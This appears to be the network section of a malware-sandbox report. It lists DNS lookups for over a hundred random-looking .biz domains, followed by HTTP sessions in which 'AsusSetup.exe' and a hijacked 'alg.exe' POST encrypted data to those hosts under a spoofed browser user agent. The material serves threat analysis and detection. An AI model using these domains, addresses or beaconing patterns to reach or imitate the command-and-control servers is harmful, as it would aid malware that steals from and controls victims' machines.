Oct 28, 2024 16:50:52.197299957 CET	1.1.1.1	192.168.2.5	0x62ee	No error (0)	gytujflc.biz		208.100.26.245	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:53.317384005 CET	1.1.1.1	192.168.2.5	0xd361	No error (0)	qaynky.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:55.290446997 CET	1.1.1.1	192.168.2.5	0x28c	No error (0)	bumxkqgxu.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:56.299453020 CET	1.1.1.1	192.168.2.5	0xa259	No error (0)	dwrqljrr.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:57.459569931 CET	1.1.1.1	192.168.2.5	0x75a0	No error (0)	nqwjmb.biz		35.164.78.200	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:58.592896938 CET	1.1.1.1	192.168.2.5	0x11f5	No error (0)	ytctnunms.biz		3.94.10.34	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:59.370845079 CET	1.1.1.1	192.168.2.5	0x14e9	No error (0)	myups.biz		165.160.15.20	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:50:59.370845079 CET	1.1.1.1	192.168.2.5	0x14e9	No error (0)	myups.biz		165.160.13.20	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:00.744595051 CET	1.1.1.1	192.168.2.5	0x4e52	No error (0)	oshhkdluh.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:01.861124992 CET	1.1.1.1	192.168.2.5	0xdf55	No error (0)	yunalwv.biz		208.100.26.245	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:02.853996992 CET	1.1.1.1	192.168.2.5	0x4171	No error (0)	jpskm.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:04.141012907 CET	1.1.1.1	192.168.2.5	0x7839	No error (0)	lrxdmhrr.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:05.255964994 CET	1.1.1.1	192.168.2.5	0xd1f6	No error (0)	wllvnzb.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:07.037302017 CET	1.1.1.1	192.168.2.5	0x2199	No error (0)	gnqgo.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:08.192347050 CET	1.1.1.1	192.168.2.5	0xfaf	No error (0)	jhvzpcfg.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:09.514775991 CET	1.1.1.1	192.168.2.5	0x9680	No error (0)	acwjcqqv.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:11.133649111 CET	1.1.1.1	192.168.2.5	0x55ed	No error (0)	vyome.biz		18.246.231.120	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:12.384679079 CET	1.1.1.1	192.168.2.5	0x2620	No error (0)	yauexmxk.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:13.760292053 CET	1.1.1.1	192.168.2.5	0x41fb	No error (0)	iuzpxe.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:15.459930897 CET	1.1.1.1	192.168.2.5	0x181c	No error (0)	sxmiywsfv.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:17.120539904 CET	1.1.1.1	192.168.2.5	0x5143	No error (0)	vrrazpdh.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:19.046371937 CET	1.1.1.1	192.168.2.5	0xd69e	No error (0)	ftxlah.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:20.676110983 CET	1.1.1.1	192.168.2.5	0x2099	No error (0)	typgfhb.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:22.339181900 CET	1.1.1.1	192.168.2.5	0x1066	No error (0)	esuzf.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:23.208785057 CET	1.1.1.1	192.168.2.5	0xd766	No error (0)	gvijgjwkh.biz		3.94.10.34	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:24.180802107 CET	1.1.1.1	192.168.2.5	0x5701	No error (0)	qpnczch.biz		18.246.231.120	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:25.051558018 CET	1.1.1.1	192.168.2.5	0x1220	No error (0)	brsua.biz		3.254.94.185	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:26.050436020 CET	1.1.1.1	192.168.2.5	0xf12a	No error (0)	dlynankz.biz		85.214.228.140	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:26.973980904 CET	1.1.1.1	192.168.2.5	0xfb3	No error (0)	oflybfv.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:28.454154015 CET	1.1.1.1	192.168.2.5	0x635d	No error (0)	yhqqc.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:29.644123077 CET	1.1.1.1	192.168.2.5	0xf29c	No error (0)	mnjmhp.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:31.099509001 CET	1.1.1.1	192.168.2.5	0x93dc	No error (0)	opowhhece.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:31.858166933 CET	1.1.1.1	192.168.2.5	0xb1d7	No error (0)	jdhhbs.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:33.324261904 CET	1.1.1.1	192.168.2.5	0xbd9b	No error (0)	mgmsclkyu.biz		34.246.200.160	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:34.346837044 CET	1.1.1.1	192.168.2.5	0x4a54	No error (0)	warkcdu.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:35.832168102 CET	1.1.1.1	192.168.2.5	0x4a4e	No error (0)	gcedd.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:37.326235056 CET	1.1.1.1	192.168.2.5	0xf03c	No error (0)	jwkoeoqns.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:38.041331053 CET	1.1.1.1	192.168.2.5	0xeb53	No error (0)	xccjj.biz		18.246.231.120	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:38.894041061 CET	1.1.1.1	192.168.2.5	0xf03e	No error (0)	hehckyov.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:39.775540113 CET	1.1.1.1	192.168.2.5	0xb940	No error (0)	rynmcq.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:39.775577068 CET	1.1.1.1	192.168.2.5	0xb940	No error (0)	rynmcq.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:40.640727997 CET	1.1.1.1	192.168.2.5	0x9a05	No error (0)	uaafd.biz		3.254.94.185	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:41.629086971 CET	1.1.1.1	192.168.2.5	0x1a38	No error (0)	eufxebus.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:43.068480015 CET	1.1.1.1	192.168.2.5	0x4a68	No error (0)	pwlqfu.biz		34.246.200.160	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:44.073437929 CET	1.1.1.1	192.168.2.5	0x814a	No error (0)	rrqafepng.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:45.527640104 CET	1.1.1.1	192.168.2.5	0x84f9	No error (0)	ctdtgwag.biz		3.94.10.34	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:46.251173973 CET	1.1.1.1	192.168.2.5	0xb8d1	No error (0)	tnevuluw.biz		35.164.78.200	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:47.195848942 CET	1.1.1.1	192.168.2.5	0x4c39	No error (0)	whjovd.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:47.195888996 CET	1.1.1.1	192.168.2.5	0x4c39	No error (0)	whjovd.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:48.639446974 CET	1.1.1.1	192.168.2.5	0xaa11	No error (0)	gjogvvpsf.biz		208.100.26.245	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:48.948714972 CET	1.1.1.1	192.168.2.5	0xcf2f	No error (0)	reczwga.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:49.830969095 CET	1.1.1.1	192.168.2.5	0x1f81	No error (0)	bghjpy.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:49.831022024 CET	1.1.1.1	192.168.2.5	0x1f81	No error (0)	bghjpy.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:50.912482023 CET	1.1.1.1	192.168.2.5	0x7673	No error (0)	damcprvgv.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:51.638003111 CET	1.1.1.1	192.168.2.5	0x4528	No error (0)	ocsvqjg.biz		3.254.94.185	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:52.621853113 CET	1.1.1.1	192.168.2.5	0x5a6d	No error (0)	ywffr.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:53.489981890 CET	1.1.1.1	192.168.2.5	0xe503	No error (0)	ecxbwt.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:54.342746019 CET	1.1.1.1	192.168.2.5	0x179f	No error (0)	pectx.biz		18.246.231.120	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:55.642637014 CET	1.1.1.1	192.168.2.5	0x2dbf	No error (0)	zyiexezl.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:55.643920898 CET	1.1.1.1	192.168.2.5	0x2dbf	No error (0)	zyiexezl.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:56.331598997 CET	1.1.1.1	192.168.2.5	0xe2c2	No error (0)	banwyw.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:57.058105946 CET	1.1.1.1	192.168.2.5	0xba4f	No error (0)	wxgzshna.biz		72.52.178.23	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:58.736538887 CET	1.1.1.1	192.168.2.5	0x3b71	No error (0)	zrlssa.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:51:59.434878111 CET	1.1.1.1	192.168.2.5	0x8436	No error (0)	jlqltsjvh.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:00.898654938 CET	1.1.1.1	192.168.2.5	0xed7d	No error (0)	xyrgy.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:01.573326111 CET	1.1.1.1	192.168.2.5	0x51b1	No error (0)	htwqzczce.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:01.573326111 CET	1.1.1.1	192.168.2.5	0x51b1	No error (0)	htwqzczce.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:03.057043076 CET	1.1.1.1	192.168.2.5	0x5ea5	No error (0)	kvbjaur.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:04.187935114 CET	1.1.1.1	192.168.2.5	0xa951	No error (0)	uphca.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:04.888478041 CET	1.1.1.1	192.168.2.5	0x8531	No error (0)	fjumtfnz.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:05.741265059 CET	1.1.1.1	192.168.2.5	0x55fb	No error (0)	hlzfuyy.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:06.875269890 CET	1.1.1.1	192.168.2.5	0x55f8	No error (0)	rffxu.biz		34.246.200.160	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:06.875370026 CET	1.1.1.1	192.168.2.5	0x55f8	No error (0)	rffxu.biz		34.246.200.160	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:07.879863024 CET	1.1.1.1	192.168.2.5	0xc52a	No error (0)	cikivjto.biz		18.246.231.120	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:08.800915003 CET	1.1.1.1	192.168.2.5	0x2dcd	No error (0)	qncdaagct.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:10.346066952 CET	1.1.1.1	192.168.2.5	0xabd0	No error (0)	shpwbsrw.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:10.346221924 CET	1.1.1.1	192.168.2.5	0xabd0	No error (0)	shpwbsrw.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:11.847137928 CET	1.1.1.1	192.168.2.5	0x2ad4	No error (0)	cjvgcl.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:12.534884930 CET	1.1.1.1	192.168.2.5	0xa4e4	No error (0)	neazudmrq.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:13.324201107 CET	1.1.1.1	192.168.2.5	0x2abf	No error (0)	pgfsvwx.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:13.324506044 CET	1.1.1.1	192.168.2.5	0x2abf	No error (0)	pgfsvwx.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:14.008375883 CET	1.1.1.1	192.168.2.5	0x6e7a	No error (0)	aatcwo.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:15.891592979 CET	1.1.1.1	192.168.2.5	0x74cf	No error (0)	kcyvxytog.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:16.580157042 CET	1.1.1.1	192.168.2.5	0xeea7	No error (0)	nwdnxrd.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:17.437978029 CET	1.1.1.1	192.168.2.5	0x9b2d	No error (0)	ereplfx.biz		18.246.231.120	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:18.281899929 CET	1.1.1.1	192.168.2.5	0x3390	No error (0)	ptrim.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:20.094315052 CET	1.1.1.1	192.168.2.5	0x6b33	No error (0)	znwbniskf.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:21.543230057 CET	1.1.1.1	192.168.2.5	0xe813	No error (0)	cpclnad.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:22.228643894 CET	1.1.1.1	192.168.2.5	0x1790	No error (0)	mjheo.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:22.917493105 CET	1.1.1.1	192.168.2.5	0x4ef8	No error (0)	wluwplyh.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:24.738199949 CET	1.1.1.1	192.168.2.5	0xd87d	No error (0)	zgapiej.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:26.191303015 CET	1.1.1.1	192.168.2.5	0xf4b	No error (0)	jifai.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:26.894248962 CET	1.1.1.1	192.168.2.5	0xf19b	No error (0)	xnxvnn.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:29.274249077 CET	1.1.1.1	192.168.2.5	0xe5e0	No error (0)	ihcnogskt.biz		35.164.78.200	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:30.297322989 CET	1.1.1.1	192.168.2.5	0x6b5e	No error (0)	kkqypycm.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:31.725974083 CET	1.1.1.1	192.168.2.5	0x48e5	No error (0)	uevrpr.biz		18.246.231.120	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:32.764786005 CET	1.1.1.1	192.168.2.5	0xfccf	No error (0)	fgajqjyhr.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:34.127774954 CET	1.1.1.1	192.168.2.5	0x3b71	No error (0)	hagujcj.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:34.811053991 CET	1.1.1.1	192.168.2.5	0x7275	No error (0)	sctmku.biz		35.164.78.200	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:35.972095966 CET	1.1.1.1	192.168.2.5	0xee65	No error (0)	qcrsp.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:35.972496986 CET	1.1.1.1	192.168.2.5	0xee65	No error (0)	qcrsp.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:37.020433903 CET	1.1.1.1	192.168.2.5	0x545e	No error (0)	sewlqwcd.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:37.020634890 CET	1.1.1.1	192.168.2.5	0x545e	No error (0)	sewlqwcd.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:37.733566999 CET	1.1.1.1	192.168.2.5	0x869f	No error (0)	dyjdrp.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:38.621171951 CET	1.1.1.1	192.168.2.5	0xa936	No error (0)	napws.biz		35.164.78.200	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:39.572206974 CET	1.1.1.1	192.168.2.5	0x9812	No error (0)	qvuhsaqa.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:39.572381020 CET	1.1.1.1	192.168.2.5	0x9812	No error (0)	qvuhsaqa.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:40.433012009 CET	1.1.1.1	192.168.2.5	0xce81	No error (0)	apzzls.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:41.282356977 CET	1.1.1.1	192.168.2.5	0x9b59	No error (0)	krnsmlmvd.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:42.724096060 CET	1.1.1.1	192.168.2.5	0xe00d	No error (0)	nlscndwp.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:43.668418884 CET	1.1.1.1	192.168.2.5	0xf0bb	No error (0)	bzkysubds.biz		3.94.10.34	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:43.668629885 CET	1.1.1.1	192.168.2.5	0xf0bb	No error (0)	bzkysubds.biz		3.94.10.34	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:44.352428913 CET	1.1.1.1	192.168.2.5	0xdc7	No error (0)	ltpqsnu.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:45.047836065 CET	1.1.1.1	192.168.2.5	0x373f	No error (0)	vnvbt.biz		18.246.231.120	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:45.907679081 CET	1.1.1.1	192.168.2.5	0xd21e	No error (0)	ypituyqsq.biz		3.94.10.34	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:46.601392031 CET	1.1.1.1	192.168.2.5	0xe651	No error (0)	ijnmvqa.biz		35.164.78.200	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:47.470410109 CET	1.1.1.1	192.168.2.5	0x9973	No error (0)	tltxn.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:48.185862064 CET	1.1.1.1	192.168.2.5	0xebfc	No error (0)	vgypotwp.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:49.113341093 CET	1.1.1.1	192.168.2.5	0xee3b	No error (0)	giliplg.biz		18.246.231.120	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:49.973752022 CET	1.1.1.1	192.168.2.5	0x556f	No error (0)	pywolwnvd.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:50.849951982 CET	1.1.1.1	192.168.2.5	0xd3de	No error (0)	ssbzmoy.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:52.329271078 CET	1.1.1.1	192.168.2.5	0x9996	No error (0)	cvgrf.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:53.587981939 CET	1.1.1.1	192.168.2.5	0xe23	No error (0)	npukfztj.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:54.314738989 CET	1.1.1.1	192.168.2.5	0x43f0	No error (0)	przvgke.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:54.314738989 CET	1.1.1.1	192.168.2.5	0x43f0	No error (0)	przvgke.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:55.921621084 CET	1.1.1.1	192.168.2.5	0xf12b	Name error (3)	zlenh.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:55.931016922 CET	1.1.1.1	192.168.2.5	0x47bd	No error (0)	knjghuig.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:57.805684090 CET	1.1.1.1	192.168.2.5	0x1135	Name error (3)	uhxqin.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:57.814454079 CET	1.1.1.1	192.168.2.5	0xc96f	Name error (3)	anpmnmxo.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:52:57.824181080 CET	1.1.1.1	192.168.2.5	0xc69a	No error (0)	lpuegx.biz		82.112.184.197	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pywolwnvd.biz

ssbzmoy.biz

cvgrf.biz

npukfztj.biz

przvgke.biz

knjghuig.biz

lpuegx.biz

vjaxhpbji.biz

xlfhhhm.biz

ifsaia.biz

saytjshyf.biz

vcddkls.biz

fwiwk.biz

tbjrpv.biz

deoci.biz

gytujflc.biz

qaynky.biz

bumxkqgxu.biz

dwrqljrr.biz

nqwjmb.biz

ytctnunms.biz

myups.biz

oshhkdluh.biz

yunalwv.biz

jpskm.biz

lrxdmhrr.biz

wllvnzb.biz

gnqgo.biz

jhvzpcfg.biz

acwjcqqv.biz

vyome.biz

yauexmxk.biz

iuzpxe.biz

sxmiywsfv.biz

vrrazpdh.biz

ftxlah.biz

typgfhb.biz

esuzf.biz

gvijgjwkh.biz

qpnczch.biz

brsua.biz

dlynankz.biz

oflybfv.biz

yhqqc.biz

mnjmhp.biz

opowhhece.biz

jdhhbs.biz

mgmsclkyu.biz

warkcdu.biz

gcedd.biz

jwkoeoqns.biz

xccjj.biz

hehckyov.biz

rynmcq.biz

uaafd.biz

eufxebus.biz

pwlqfu.biz

rrqafepng.biz

ctdtgwag.biz

tnevuluw.biz

whjovd.biz

gjogvvpsf.biz

reczwga.biz

bghjpy.biz

damcprvgv.biz

ocsvqjg.biz

ywffr.biz

ecxbwt.biz

pectx.biz

zyiexezl.biz

banwyw.biz

wxgzshna.biz

zrlssa.biz

jlqltsjvh.biz

xyrgy.biz

htwqzczce.biz

kvbjaur.biz

uphca.biz

fjumtfnz.biz

hlzfuyy.biz

rffxu.biz

cikivjto.biz

qncdaagct.biz

shpwbsrw.biz

cjvgcl.biz

neazudmrq.biz

pgfsvwx.biz

aatcwo.biz

kcyvxytog.biz

nwdnxrd.biz

ereplfx.biz

ptrim.biz

znwbniskf.biz

cpclnad.biz

mjheo.biz

wluwplyh.biz

zgapiej.biz

jifai.biz

xnxvnn.biz

ihcnogskt.biz

kkqypycm.biz

uevrpr.biz

fgajqjyhr.biz

hagujcj.biz

sctmku.biz

qcrsp.biz

sewlqwcd.biz

dyjdrp.biz

napws.biz

qvuhsaqa.biz

apzzls.biz

krnsmlmvd.biz

nlscndwp.biz

bzkysubds.biz

ltpqsnu.biz

vnvbt.biz

ypituyqsq.biz

ijnmvqa.biz

tltxn.biz

vgypotwp.biz

giliplg.biz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	54.244.188.177	80	5880	C:\Users\user\Desktop\AsusSetup.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:49:58.906426907 CET	347	OUT	POST /ea HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pywolwnvd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 800
Oct 28, 2024 16:49:58.906460047 CET	800	OUT	Data Raw: 95 9f cf 89 e7 d9 d3 a4 14 03 00 00 64 61 8d ac ca f0 2e 70 f8 ee 3c 6e c9 04 20 da 45 bb 2b c8 33 ae fd 10 37 1b b4 8c 8b cb e0 6a 3c 30 51 4b bb f4 82 fa 6a c3 4b 5e bb c3 0d 1b b1 d2 c5 e9 16 62 8d 4a 1e d0 0e 9b ca 87 a2 59 7e 59 f6 bd 83 c3 Data Ascii: da.p<n E+37j<0QKjK^bJY~Y9v+TxPNn,.c~{u\|1iX?dSa4*J8"uA2QcqZ#mz8l2`jOY'#><%bCbp##gbS:ez3!>mFgx7
Oct 28, 2024 16:49:59.867952108 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:49:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=17ca32f998ed4d44dafd0914b115316e\|155.94.241.188\|1730130599\|1730130599\|0\|1\|0; path=/; domain=.pywolwnvd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	54.244.188.177	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:00.000165939 CET	354	OUT	POST /juldvutdr HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pywolwnvd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:00.000225067 CET	778	OUT	Data Raw: 56 7d b8 a6 ee 10 2a 12 fe 02 00 00 ec bb 53 7f fd 94 72 e7 65 ad 86 43 20 02 49 03 67 bd c3 94 4e ef 2b 84 00 b9 ae bd 9a 68 9f d3 68 f5 02 0c cf 45 34 f9 2e 85 d8 14 9b 73 ca 77 32 f1 ff 24 b1 65 0c 29 4b da 18 f0 ab 6b 44 96 cf b6 5f 48 ba 40 Data Ascii: V}*SreC IgN+hhE4.sw2$e)KkD_H@vSX1gWvt^3GO/:~ls'LLF!YVw&Izi+9n+-PnmrP]vhF{a!S _=l
Oct 28, 2024 16:50:00.842086077 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:50:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=9a38974a2b1241daed946f4945d8acb9\|155.94.241.188\|1730130600\|1730130600\|0\|1\|0; path=/; domain=.pywolwnvd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	18.141.10.107	80	5880	C:\Users\user\Desktop\AsusSetup.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:00.026778936 CET	344	OUT	POST /w HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ssbzmoy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 800
Oct 28, 2024 16:50:00.026796103 CET	800	OUT	Data Raw: 20 9e 33 7b fe 11 f6 1f 14 03 00 00 9c 1a 1f c1 70 e4 e9 87 95 48 8d 15 fb 42 f2 8e 85 04 da 40 90 3c bb 7f f4 04 35 41 56 d1 05 ef 3b e6 ed 9a 59 11 05 29 32 d2 4d 8c d0 94 f9 02 ac f3 b9 db c0 3a f2 f6 1f 81 f3 15 6f 9e b1 45 9b a8 ea 5f 2c c8 Data Ascii: 3{pHB@<5AV;Y)2M:oE_,POCng4MC2b7}FUI gW4sO!RZ/&}6FrQ9dMQ7EBpF)Q%bH+MD3oE*\'
